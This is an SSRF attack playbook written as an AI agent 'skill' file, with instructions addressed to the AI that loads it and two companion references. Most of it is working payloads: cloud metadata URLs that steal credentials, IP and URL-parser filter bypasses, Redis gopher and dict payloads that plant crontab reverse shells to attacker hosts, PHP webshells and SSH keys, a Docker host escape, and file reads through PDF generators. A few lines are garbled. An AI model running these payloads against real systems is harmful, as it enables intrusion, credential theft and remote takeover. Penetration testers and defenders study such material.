Ssrf Server Side Request Forgery

SKILL: Server-Side Request Forgery (SSRF) — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert SSRF techniques. Covers URL filter bypass, cloud metadata endpoints, protocol exploitation, blind SSRF detection, and chaining to RCE. Base models know basic 169.254.169.254 — this file covers what they miss. For real-world CVE chains, DNS Rebinding deep dives, K8s SSRF, and SSRF → Redis → RCE full exploitation, load the companion SCENARIOS.md.

0. QUICK START

Extended Scenarios

Also load SCENARIOS.md when you need:

• WebLogic SSRF (CVE-2014-4210) — uddiexplorer/SearchPublicRegistries.jsp + operator parameter + %0D%0A CRLF to inject Redis commands
• SSRF → internal Redis → write crontab reverse shell complete payload chain
• DNS Rebinding deep dive — TTL=0 trick, initial-legit→second-internal resolution, rbndr.us service
• Kubernetes SSRF (CVE-2020-8555) and bypass (CVE-2020-8562) via DNS rebinding
• SSRF through PDF/screenshot generators — <iframe> and <img> in HTML-to-PDF
• Gopher protocol full TCP injection — Redis, MySQL, FastCGI payloads via Gopherus
• URL parser confusion for filter bypass — #@, \@, %00@, IPv6-mapped IPv4

Advanced Reference

Also load URL_PARSER_TRICKS.md when you need:

• URL parser differential table: Python urllib vs requests vs Java URL vs PHP parse_url vs Node url.parse vs Go net/url
• Full cloud metadata endpoint catalog (AWS IMDSv1/v2, GCP, Azure, DigitalOcean, Alibaba Cloud, Oracle Cloud, Kubernetes, Hetzner, OpenStack)
• gopher:// payload recipes for Redis, MySQL, SMTP, FastCGI, Memcached (with encoding rules)
• DNS Rebinding detailed attack flow with TTL manipulation and TOCTOU analysis
• PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS SSRF patterns and exfiltration techniques

If you just found a parameter that fetches a URL, perform first-pass confirmation here directly.

First-pass payloads

http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/

Host validation bypass families

Protocol routing

---

1. FINDING SSRF SURFACE

Look for any parameter containing DNS names, IP addresses, or URLs:

loc=           url=        path=         endpoint=
imageUrl=      dest=       redirect=     uri=
callback=      load=       file=         resource=
link=          src=        data=         ref=

Less obvious SSRF vectors:

• PDF/screenshot generation (URL to capture)
• Webhook configuration fields
• Import/export via URL (CSV import, RSS/Atom feeds)
• OAuth redirect URI (sometimes triggers server-side fetch)
• X-Forwarded-Host / X-Real-IP headers in proxy chains
• XML DOCTYPE with external entity (file://, http://)
• GraphQL @link directive (federation)
• Content-Type: text/html pages parsed for <link> preload headers

---

2. BASIC CONFIRMATION METHODOLOGY

Step 1: Supply your Burp Collaborator / interact.sh URL
        → Check server initiates outbound connection (full SSRF confirmed)

Step 2: If no callback → test time-based (open port = fast, closed = slow/reset):
        Compare response time for:
        http://192.168.1.1:22   (likely open → fast)
        http://192.168.1.1:9999 (likely closed → slow/timeout)

Step 3: Try accessing localhost services:
        http://127.0.0.1:8080
        http://127.0.0.1:22
        http://127.0.0.1:6379  (Redis)
        http://127.0.0.1:9200  (Elasticsearch)
        http://127.0.0.1:5984  (CouchDB)
        http://127.0.0.1:2375  (Docker daemon — critical!)
        http://127.0.0.1:4840  (internal admin)

---

3. CLOUD METADATA ENDPOINTS — MUST-TRY

AWS EC2 IMDSv1 (no auth required — critical)

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

AWS IMDSv2 (token required — but check if SSRF can GET the token)

Step 1: PUT http://169.254.169.254/latest/api/token
        Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
Step 2: GET http://169.254.169.254/latest/meta-data/
        Header: X-aws-ec2-metadata-token: TOKEN

If SSRF supports custom headers → full IMDSv2 bypass.

Google Cloud

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Google

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/

Alibaba Cloud

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/

Kubernetes Service Account

file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets

---

4. IP ADDRESS FILTER BYPASS TECHNIQUES

When 169.254.169.254, 127.0.0.1, localhost are blocked:

Localhost Variants

127.0.0.1
127.1
127.0.1
127.000.000.001    ← octal padding
0x7f000001         ← hex
2130706433         ← decimal (0x7f000001)
0177.0000.0000.0001  ← octal
[::]               ← IPv6 loopback
[::1]              ← IPv6 loopback
[::ffff:127.0.0.1] ← IPv4-mapped IPv6

169.254.169.254 Variants

169.254.169.254
2852039166               ← decimal
0xa9fea9fe               ← hex
0251.0376.0251.0376      ← octal
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io   ← DNS rebinding service

Private Network Ranges

10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7  ← IPv6 private

Bypass Filter via DNS Input

If filter checks DNS-resolved IP (not hostname):

http://attacker.com/  ← DNS A record points to 169.254.169.254

Use DNS rebinding: initial lookup returns valid IP → passes filter → second request returns internal IP.

---

5. URL SCHEME ATTACKS

When http:// is allowed or weakly filtered:

file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp   ← reveals internal network ARP table
file:///proc/net/tcp   ← open network connections

dict://127.0.0.1:6379/INFO   ← Redis INFO command via dict://

gopher://127.0.0.1:6379/_INFO%0d%0a   ← Redis via gopher
gopher://127.0.0.1:9200/   ← Elasticsearch

sftp://attacker.com:11111/   ← triggers SFTP connection (credential hash)
ldap://attacker.com:389/     ← triggers LDAP bind
ftp://attacker.com/          ← triggers FTP connection

Redis Gopher SSRF (full RCE potential)

gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

---

6. BLIND SSRF DETECTION

When response doesn't reflect fetched content:

1. Burp Collaborator / interact.sh: check for DNS + HTTP request from server 2. Pingback/webhook abuse: configure application's own webhook to your URL 3. Timing analysis: Internal open port vs closed port response time difference 4. Error analysis: Different error messages for "host not found" vs "connection refused" vs "timeout" reveal internal network topology

---

7. INTERNAL SERVICE EXPLOITATION

Docker API (2375 unauthenticated)

http://127.0.0.1:2375/v1.24/containers/json      ← list containers
http://127.0.0.1:2375/v1.24/images/json          ← list images
# Create privileged container → escape to host:
POST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}

Elasticsearch (9200 no-auth default)

http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*

Redis (6379 — no-auth common)

dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE

Internal Admin Panels

http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator   ← Spring Boot actuator (exposed endpoints)
http://127.0.0.1:9000/actuator/env
http://127.0.0.1:9000/actuator/heapdump

---

8. SSRF + FILTER BYPASS DECISION TREE

SSRF parameter found?
├── Try http://169.254.169.254/ directly → blocked?
│   ├── Try decimal/hex/octal variants
│   ├── Try IPv6 variants [::ffff:169.254.169.254]
│   ├── Try DNS rebinding (nip.io, custom NS)
│   └── Try redirect: attacker.com → 169.254.169.254 (302)
│
├── Try http://127.0.0.1/ → blocked?
│   ├── Try 127.1 / 127.0.1 / 0x7f000001 / 2130706433
│   ├── Try localhost → might not be blocked
│   └── Try IPv6 [::1]
│
├── What protocols are allowed?
│   ├── dict:// → test Redis, Memcached
│   ├── gopher:// → full TCP data injection (target Redis/SMTP)
│   ├── file:// → local file read
│   └── sftp:// ldap:// ftp:// → network interactions
│
└── Blind SSRF → use Burp Collaborator
    └── DNS-only → use DNS rebinding or SSRF with OOB DNS

---

9. THE SSRF-FILTER MINDSET

From zseano's methodology: if developers filter only `169.254.169.254` directly but not `http://169.254.169.254/latest/meta-data` (full path), or forget about:

• IPv6 equivalents
• DNS names that resolve to internal IPs
• Redirect chains (server follows 302 to internal IP)

Classic gap: App filters 127.0.0.1 but not 127.1 or [::1] or localhost.

Application-layer SSRF via XML (when app parses XML):

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>

SSRF — Extended Scenarios & Real-World Cases

Companion to SKILL.md. Contains additional CVE case studies, advanced bypass techniques, and chaining scenarios.

---

1. CVE Case: WebLogic SSRF (CVE-2014-4210)

WebLogic's UDDI Explorer component exposes SSRF via the operator parameter:

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Exploitation chain — SSRF → Redis → RCE:

# Step 1: Port scan internal network via SSRF
# Open port: fast response / "could not connect" error
# Closed port: timeout / different error

# Step 2: Hit internal Redis (6379) via SSRF with crafted payload
operator=http://INTERNAL_REDIS_IP:6379/test%0D%0A%0D%0Aset%201%20%22%0A%0A%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER%2F4444%200%3E%261%0A%0A%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2F%0D%0Aconfig%20set%20dbfilename%20root%0D%0Asave%0D%0A

# URL-decoded: sends Redis commands via CRLF injection in HTTP request
# Writes crontab reverse shell

---

2. DNS Rebinding — Deep Dive

DNS rebinding exploits the gap between DNS resolution and actual request:

Step 1: Victim server resolves attacker.com → gets 1.2.3.4 (legitimate IP)
Step 2: Server validates: "1.2.3.4 is not internal → allowed"
Step 3: DNS TTL expires (or attacker uses TTL=0)
Step 4: Server makes actual request → resolves attacker.com again → gets 169.254.169.254
Step 5: Request goes to metadata endpoint → SSRF achieved

Tools and Services

# rbndr.us — automatic DNS rebinding service:
# Responds with IP A first, IP B second
http://7f000001.a]1b3c4d5.rbndr.us/
# Returns 127.0.0.1 and 1.2.3.4 alternately

# singularity — DNS rebinding attack framework:
# https://github.com/nccgroup/singularity

# Custom NS: set up authoritative DNS with TTL=0 and rotating A records

Bypass Scenarios

---

3. CVE Case: Kubernetes SSRF (CVE-2020-8555 / CVE-2020-8562)

CVE-2020-8555: Kubernetes kube-controller-manager's volume handling allows SSRF when creating StorageClass with glusterfs or quobyte provisioners. The controller makes HTTP requests to attacker-controlled endpoints.

CVE-2020-8562 (bypass of the fix): The fix blocked direct internal IP access but could be bypassed via DNS rebinding — attacker's DNS resolves to external IP during validation, then to internal IP during actual request.

---

4. SSRF Through PDF/Screenshot Generators

Applications that generate PDFs from HTML or take screenshots of URLs are high-value SSRF targets:

<!-- If HTML input is rendered to PDF: -->
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
<img src="http://internal-service:8080/admin">
<link rel="stylesheet" href="http://169.254.169.254/latest/user-data">

Common tools: wkhtmltopdf, Chrome headless, Puppeteer, PhantomJS — all follow redirects and may access internal network.

---

5. SSRF + Gopher Protocol — Full TCP Injection

Gopher protocol allows sending arbitrary TCP data. Combined with SSRF, it enables interaction with any TCP service:

# SMTP — send email:
gopher://127.0.0.1:25/_EHLO%20attacker%0D%0AMAIL%20FROM:...

# MySQL — execute query (no password):
gopher://127.0.0.1:3306/_[MYSQL_PACKET]

# FastCGI/PHP-FPM — execute PHP:
gopher://127.0.0.1:9000/_[FASTCGI_PACKET]

# Tool: Gopherus generates gopher payloads for various services:
python3 gopherus.py --exploit mysql
python3 gopherus.py --exploit fastcgi
python3 gopherus.py --exploit redis

---

6. Filter Bypass via URL Parser Confusion

Different URL parsers disagree on what constitutes "host":

# These may bypass host validation:
http://evil.com#@trusted.com/         # Fragment vs authority confusion
http://trusted.com\@evil.com/         # Backslash as path separator
http://trusted.com%00@evil.com/       # Null byte truncation
http://evil.com%23@trusted.com/       # URL-encoded fragment
http://[::ffff:7f00:1]/              # IPv6-mapped IPv4 localhost
http://0x7f.0x00.0x00.0x01/          # Hex octets
http://0177.0.0.1/                   # Octal

---

7. EXTENDED CLOUD METADATA ENDPOINTS

AWS ECS (Container)

http://169.254.170.2/v2/credentials
# Returns temporary IAM role credentials for the ECS task

GCP Detailed Queries

http://metadata.google.internal/computeMetadata/v1/?recursive=true
# Returns ALL metadata in one request (with Metadata-Flavor: Google header)
http://metadata.google.internal/computeMetadata/v1beta1/
# Legacy endpoint — may not require Metadata-Flavor header!

Azure Identity Token

http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
Headers: Metadata: true
# Returns OAuth2 token for Azure management plane

Alibaba Cloud (Aliyun)

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/ram/security-credentials/ROLE_NAME

Kubernetes

https://kubernetes.default.svc/api/v1/namespaces/default/secrets
# Service account token at: /var/run/secrets/kubernetes.io/serviceaccount/token
# CA cert at: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# kubectl proxy (if running):
http://127.0.0.1:8001/api/v1/namespaces/default/pods

IPv6 Metadata Variants

http://[::ffff:169.254.169.254]/latest/meta-data/
http://[fd00:ec2::254]/latest/meta-data/
# May bypass IPv4-only filters

---

8. BROWSER-SIDE DNS REBINDING & HEADLESS BROWSER ATTACKS

DNS Rebinding (Browser-Side)

# Different from server-side SSRF — targets victim's browser:
# 1. Victim visits attacker.com (DNS resolves to attacker IP)
# 2. JavaScript makes request to attacker.com (same-origin)
# 3. DNS TTL expires, re-resolves to 127.0.0.1 or internal IP
# 4. Browser makes same-origin request → hits internal service
# 5. Attacker's JS reads the response (same-origin!)

# Tools:
# - Singularity of Origin (nccgroup/singularity)
# - rbndr.us (simple rebinding service)

# Protection bypasses:
# - 0.0.0.0 resolves to localhost on many systems
# - CNAME to localhost
# - localhost CNAME chains

Headless Browser / PDF Generator Attacks

# If application uses headless Chrome/Puppeteer/wkhtmltopdf to render user content:

# SSRF via HTML:
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
<img src="http://169.254.169.254/latest/meta-data/">

# Local file read:
<iframe src="file:///etc/passwd"></iframe>
<script>document.write(new XMLHttpRequest())</script>

# If --no-sandbox flag is used → full browser exploit potential

# Remote debugging port (Chrome DevTools Protocol):
# If port 9222 is exposed:
http://127.0.0.1:9222/json → list debugging targets
# Connect via WebSocket → full control of browser tabs
# Read cookies, navigate to arbitrary URLs, execute JS

URL Parser Differentials & Advanced SSRF Techniques

AI LOAD INSTRUCTION: Load this when you need URL parser confusion tables, full cloud metadata endpoint catalogs, gopher:// payload recipes, DNS rebinding deep dives, or headless-browser/PDF-generator SSRF patterns. Assumes the main SKILL.md is already loaded for fundamentals.

---

1. URL PARSER DIFFERENTIAL TABLE

Different URL parsers interpret ambiguous URLs differently. This is the core of SSRF filter bypass.

1.1 Authority Parsing (Who Is the Host?)

Test URL: http://evil.com@safe.com/path

Exploit scenario: filter checks host, request library resolves differently.

1.2 Backslash Handling

Test URL: http://evil.com\@safe.com/path

1.3 Fragment (#) Handling

Test URL: http://evil.com#@safe.com/path

Exploit: if filter uses parser that treats #@safe.com as fragment (sees evil.com), but the actual HTTP client sends to a different resolved host.

1.4 Null Byte / Encoded Separator

Test URL: http://safe.com%00@evil.com/ and http://safe.com%23@evil.com/

1.5 IPv6 Bracket Confusion

Test URL: http://[::ffff:127.0.0.1] and http://[::ffff:169.254.169.254]

Exploit: if filter blocks 127.0.0.1 but not [::ffff:127.0.0.1].

1.6 Port Handling Differences

Test URL: http://safe.com:80@evil.com/

Exploit: filter sees safe.com in URL string via regex, but parser resolves to evil.com.

1.7 Triple-Slash File Protocol

Test URL: file:///etc/passwd vs file://evil.com/etc/passwd

---

2. FULL CLOUD METADATA ENDPOINT CATALOG

2.1 AWS EC2

# IMDSv1 (no auth — most critical)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-ipv4
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/network/interfaces/macs/
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
http://169.254.169.254/latest/dynamic/instance-identity/document

# IMDSv2 (token-based — bypass if SSRF can send PUT + custom headers)
# Step 1:
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
# Step 2:
GET http://169.254.169.254/latest/meta-data/
X-aws-ec2-metadata-token: TOKEN_FROM_STEP1

# ECS Task Metadata (containers)
http://169.254.170.2/v2/credentials/<GUID>
# GUID from: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var

# Lambda environment
file:///proc/self/environ  → AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN

2.2 Google Cloud Platform (GCP)

# Requires header: Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/zone
http://metadata.google.internal/computeMetadata/v1/instance/machine-type
http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/0/ip
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
http://metadata.google.internal/computeMetadata/v1/instance/attributes/
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys

# Alternative IP (if metadata.google.internal is blocked):
http://169.254.169.254/computeMetadata/v1/  (with header)

# Bypass header requirement (if SSRF doesn't support custom headers):
# Some older GCP versions allowed without header — worth trying
# Also try: Metadata-Flavor: Google\r\nX-Ignore:

2.3 Microsoft Azure

# Requires header: Metadata: true
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01
http://169.254.169.254/metadata/instance/network?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/
http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text

# Azure App Service
http://169.254.130.1/  (different IP than standard!)

2.4 DigitalOcean

# No auth header required
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/
http://169.254.169.254/metadata/v1/dns/nameservers
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/vendor-data
http://169.254.169.254/metadata/v1/floating_ip/ipv4/active

2.5 Alibaba Cloud (Aliyun)

# No auth header required
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/hostname
http://100.100.100.200/latest/meta-data/image-id
http://100.100.100.200/latest/meta-data/region-id
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/ram/security-credentials/ROLE_NAME
http://100.100.100.200/latest/user-data
http://100.100.100.200/latest/meta-data/private-ipv4
http://100.100.100.200/latest/meta-data/eipv4

2.6 Oracle Cloud Infrastructure (OCI)

# Requires header: Authorization: Bearer Oracle
http://169.254.169.254/opc/v1/instance/
http://169.254.169.254/opc/v1/instance/metadata/
http://169.254.169.254/opc/v2/instance/  (v2 — requires auth header)
http://169.254.169.254/opc/v1/identity/cert.pem
http://169.254.169.254/opc/v1/identity/key.pem
http://169.254.169.254/opc/v1/identity/intermediate.pem

2.7 Kubernetes Service Account

# In-cluster service account token (file read via SSRF):
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
file:///var/run/secrets/kubernetes.io/serviceaccount/namespace

# Kubernetes API (from within cluster):
https://kubernetes.default.svc/api
https://kubernetes.default.svc/api/v1/namespaces
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
https://kubernetes.default.svc/api/v1/namespaces/default/pods
https://kubernetes.default.svc/api/v1/namespaces/kube-system/secrets

# kubelet API (often no auth on port 10255):
http://NODE_IP:10255/pods
http://NODE_IP:10255/spec

# etcd (critical — contains all cluster state):
http://NODE_IP:2379/v2/keys/
http://NODE_IP:2379/v2/keys/registry/secrets/

2.8 Hetzner Cloud

http://169.254.169.254/hetzner/v1/metadata
http://169.254.169.254/hetzner/v1/metadata/hostname
http://169.254.169.254/hetzner/v1/metadata/instance-id
http://169.254.169.254/hetzner/v1/metadata/private-networks

2.9 OpenStack

http://169.254.169.254/openstack/latest/meta_data.json
http://169.254.169.254/openstack/latest/user_data
http://169.254.169.254/openstack/latest/network_data.json

---

3. GOPHER:// PAYLOAD RECIPES

gopher:// allows sending raw TCP data — powerful when SSRF is combined with internal services that speak plaintext protocols.

3.1 Gopher → Redis

Write crontab reverse shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2464%0D%0A%0A%0A*/1 * * * * bash -i >%26 /dev/tcp/ATTACKER_IP/4444 0>%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

Decoded RESP commands:

PING
SET 1 "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n\n\n"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE

Write SSH authorized_keys:

gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/root/.ssh/%0D%0ACONFIG%20SET%20dbfilename%20authorized_keys%0D%0ASET%20key%20%22%5Cn%5Cnssh-rsa%20AAAA...%20attacker%40host%5Cn%5Cn%22%0D%0ASAVE%0D%0A

Write PHP webshell via Redis:

gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html/%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASET%20x%20%22%3C%3Fphp%20system%28%24_GET%5B%27c%27%5D%29%3B%3F%3E%22%0D%0ASAVE%0D%0A

3.2 Gopher → MySQL (No Password)

Target: MySQL with skip-grant-tables or empty root password.

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%03%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00root%00%00mysql_native_password%00

Tool: Gopherus generates these payloads automatically:

python gopherus.py --exploit mysql
# Enter username: root
# Enter query: SELECT * FROM mysql.user

python gopherus.py --exploit redis
# Enter: php (for webshell)

3.3 Gopher → SMTP

Send email via internal SMTP server (port 25):

gopher://127.0.0.1:25/_HELO%20attacker%0D%0AMAIL%20FROM%3A%3Cattacker%40evil.com%3E%0D%0ARCPT%20TO%3A%3Cadmin%40target.com%3E%0D%0ADATA%0D%0ASubject%3A%20SSRF%20Test%0D%0A%0D%0AYou%20are%20vulnerable%0D%0A.%0D%0AQUIT%0D%0A

Decoded:

HELO attacker
MAIL FROM:<attacker@evil.com>
RCPT TO:<admin@target.com>
DATA
Subject: SSRF Test

You are vulnerable
.
QUIT

3.4 Gopher → FastCGI (PHP-FPM)

Execute PHP code via FastCGI protocol on port 9000:

# Use Gopherus:
python gopherus.py --exploit fastcgi
# Enter: /var/www/html/index.php
# Enter command: id

The generated payload sends a FastCGI BEGIN_REQUEST + PARAMS + STDIN that sets PHP_VALUE to auto_prepend_file=php://input and includes the command in the request body.

3.5 Gopher → Memcached

gopher://127.0.0.1:11211/_stats%0D%0A
gopher://127.0.0.1:11211/_get%20session:SESSIONID%0D%0A
gopher://127.0.0.1:11211/_set%20session:VICTIM%200%20900%2050%0D%0A{"user":"admin","role":"superadmin","id":1}%0D%0A

3.6 Gopher URL Encoding Rules

\r → %0D
\n → %0A
space → %20
/ → %2F (in path component; first / after host is literal)
_ after gopher://host:port/ → required prefix (discarded by protocol)

Double-encode if the SSRF endpoint URL-decodes once before fetching:

%0D%0A → %250D%250A

---

4. DNS REBINDING — DETAILED ATTACK FLOW

4.1 The Problem DNS Rebinding Solves

Many SSRF filters work by: 1. Resolving the hostname to an IP 2. Checking if the IP is internal/blocked 3. If allowed, making the HTTP request

DNS rebinding exploits the time gap between steps 2 and 3.

4.2 Attack Flow

1. Attacker controls DNS for evil.com
2. Victim app receives URL: http://evil.com/
3. App resolves evil.com → 1.2.3.4 (public IP, passes filter)
4. App makes HTTP request to evil.com
5. DNS TTL has expired; new resolution: evil.com → 127.0.0.1
6. HTTP library resolves again → gets 127.0.0.1
7. Request goes to 127.0.0.1 → internal resource accessed

4.3 TTL Manipulation

# Authoritative DNS server configuration:
# Response 1 (filter check): A 1.2.3.4, TTL=0
# Response 2 (actual request): A 127.0.0.1, TTL=0

# TTL=0 forces re-resolution on every request
# Some resolvers enforce minimum TTL (30s, 60s) — timing matters

4.4 Tools and Services

# rbndr.us — free DNS rebinding service
# Format: FIRST_IP.SECOND_IP.rbndr.us
# Example:
http://7f000001.01020304.rbndr.us/
# Alternates between 127.0.0.1 and 1.2.3.4

# ceye.io — DNS rebinding + OOB exfil
# singularity — full DNS rebinding attack framework
# https://github.com/nccgroup/singularity

# Custom authoritative DNS (Python):
# Use dnslib to serve alternating A records with TTL=0

4.5 DNS Rebinding vs TOCTOU

If the application resolves DNS once and uses the resolved IP directly, DNS rebinding won't work. Look for:

# Vulnerable pattern (two resolutions):
ip = dns_resolve(hostname)     # check
if not is_internal(ip): allow
response = http_get(hostname)  # use (re-resolves!)

# Not vulnerable (single resolution):
ip = dns_resolve(hostname)     # check
if not is_internal(ip): allow
response = http_get(ip)        # uses resolved IP directly

4.6 DNS Rebinding for IMDSv2 Bypass

# IMDSv2 blocks requests with X-Forwarded-For header
# But DNS rebinding hits from the instance itself:
1. SSRF reaches attacker-controlled DNS name
2. First resolution → public IP (passes filter)
3. Second resolution → 169.254.169.254
4. Request reaches IMDS from instance's own network → no X-Forwarded-For → success

---

5. PDF / SCREENSHOT GENERATOR SSRF

5.1 wkhtmltopdf

Converts HTML to PDF. Processes <iframe>, <img>, <link>, <script> tags — each triggers a server-side fetch.

<!-- Direct SSRF -->
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="600"></iframe>

<!-- Via image tag -->
<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">

<!-- Via CSS -->
<link rel="stylesheet" href="http://169.254.169.254/latest/user-data">

<!-- Via @import in style -->
<style>@import url('http://169.254.169.254/latest/meta-data/');</style>

<!-- Via redirect (if direct IP is blocked) -->
<iframe src="http://attacker.com/redirect?url=http://169.254.169.254/latest/meta-data/"></iframe>

<!-- JavaScript-based (if JS is enabled in wkhtmltopdf) -->
<script>
document.write('<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">');
</script>

<!-- Local file read -->
<iframe src="file:///etc/passwd" width="800" height="600"></iframe>
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///etc/passwd");
x.send();
</script>

5.2 WeasyPrint

Python HTML/CSS to PDF converter. Processes CSS @import, url(), <link>, <img>.

<!-- CSS url() function -->
<link rel="attachment" href="file:///etc/passwd">

<!-- @font-face with url() -->
<style>
@font-face {
  font-family: 'exfil';
  src: url('http://169.254.169.254/latest/meta-data/');
}
</style>

<!-- attachment link (WeasyPrint specific — embeds file in PDF) -->
<link rel="attachment" href="file:///etc/shadow">

5.3 Chrome Headless / Puppeteer

<!-- Standard fetch-based -->
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>

<!-- JavaScript SSRF (Chrome headless has full JS engine) -->
<script>
fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
  .then(r => r.text())
  .then(t => {
    document.body.innerText = t;
  });
</script>

